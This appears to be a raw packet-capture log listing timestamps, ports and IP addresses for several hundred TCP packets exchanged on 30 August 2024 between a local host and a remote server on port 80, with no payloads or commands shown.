Aug 30, 2024 06:17:05.993237972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993247986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993257999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993269920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993279934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993280888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993304968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993324995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993335009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993356943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993366003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993377924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993386984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993392944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993400097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993449926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993449926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993449926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993580103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993590117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993598938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993611097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993621111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993630886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993638039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993640900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993652105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993663073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993671894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993679047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993679047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993684053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993693113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993733883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993736029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993742943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993818045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993829966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993839979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993849039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993861914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993872881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993884087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993892908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993892908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993917942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993954897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993967056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993978024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993987083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993995905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.994008064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.994016886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.994029045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.994043112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.994043112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.994054079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.994056940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.994071960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.994096994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997071028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997136116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997139931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997149944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997159958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997170925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997205019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997205973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997205973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997215033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997220993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997225046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997234106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997255087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997266054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997281075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997292042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997339010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997359991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997375011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997384071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997395039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997406960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997411013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997411966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997411966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997436047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997447014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997481108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997492075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997503996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997535944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997560978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997570992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997581005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997605085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997627020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997637033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997646093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997663021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997663021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997678041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997692108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997701883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997713089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997723103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997735977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997735977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997756958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997771978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997776985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997786045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997823954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997834921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997852087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997862101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997895956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997904062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997912884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997915983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997936964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.997983932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.997983932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.998008013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998018026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998028994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998042107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998059034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998064041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.998070002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998080015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.998080969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998090029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.998099089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.998125076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999075890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999087095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999097109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999106884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999119043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999124050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999144077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999161959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999166965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999176979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999186039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999212980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999238014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999238014 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999248981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999258995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999269962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999284983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999310017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999361992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999372959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999378920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999388933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999408960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999418974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999484062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999495029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999504089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999520063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999531984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999535084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999547958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999551058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999560118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999572992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999573946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999583006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999603033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999629974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999655008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999665022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999675035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999684095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999695063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999697924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999716043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999723911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999735117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999736071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999743938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999756098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999756098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999767065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999771118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999790907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999806881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999814034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.999818087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.999847889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001410007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001426935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001437902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001447916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001456976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001466990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001477003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001481056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001487017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001497030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001508951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001511097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001532078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001554012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001563072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001571894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001605988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001627922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001637936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001653910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001663923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001666069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001674891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.001689911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.001717091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.006844044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.006872892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.006884098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.006887913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.006911039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.006927013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.006938934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007025003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007051945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007062912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007071018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007081032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007091045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007092953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007101059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007110119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007118940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007122040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007139921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007153034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007232904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007241964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007250071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007260084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007270098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007276058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007280111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007289886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007302046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007307053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007313967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007317066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007330894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007339954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007342100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007350922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007359982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007360935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007375002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007380962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007389069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007396936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007405043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007406950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007427931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007450104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007493019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007504940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007514954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007524967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007531881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007548094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007565975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007582903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007632017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007642031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007649899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007659912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007673025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007697105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007757902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007767916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007776976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007802963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007808924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007814884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007818937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007828951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.007843971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007857084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.007873058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008069992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008079052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008115053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008177996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008188009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008198023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008223057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008234978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008266926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008275986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008311987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008363962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008373976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008382082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008389950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008399963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008409977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008411884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008424044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008428097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008435011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008443117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008447886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008451939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008465052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008474112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008475065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008491993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008491993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008502007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008511066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008512974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008521080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008531094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008538961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.008541107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008553982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.008574963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.043200970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043217897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043227911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043276072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.043287992 CEST	80	49733	147.45.44.104	192.168.2.4
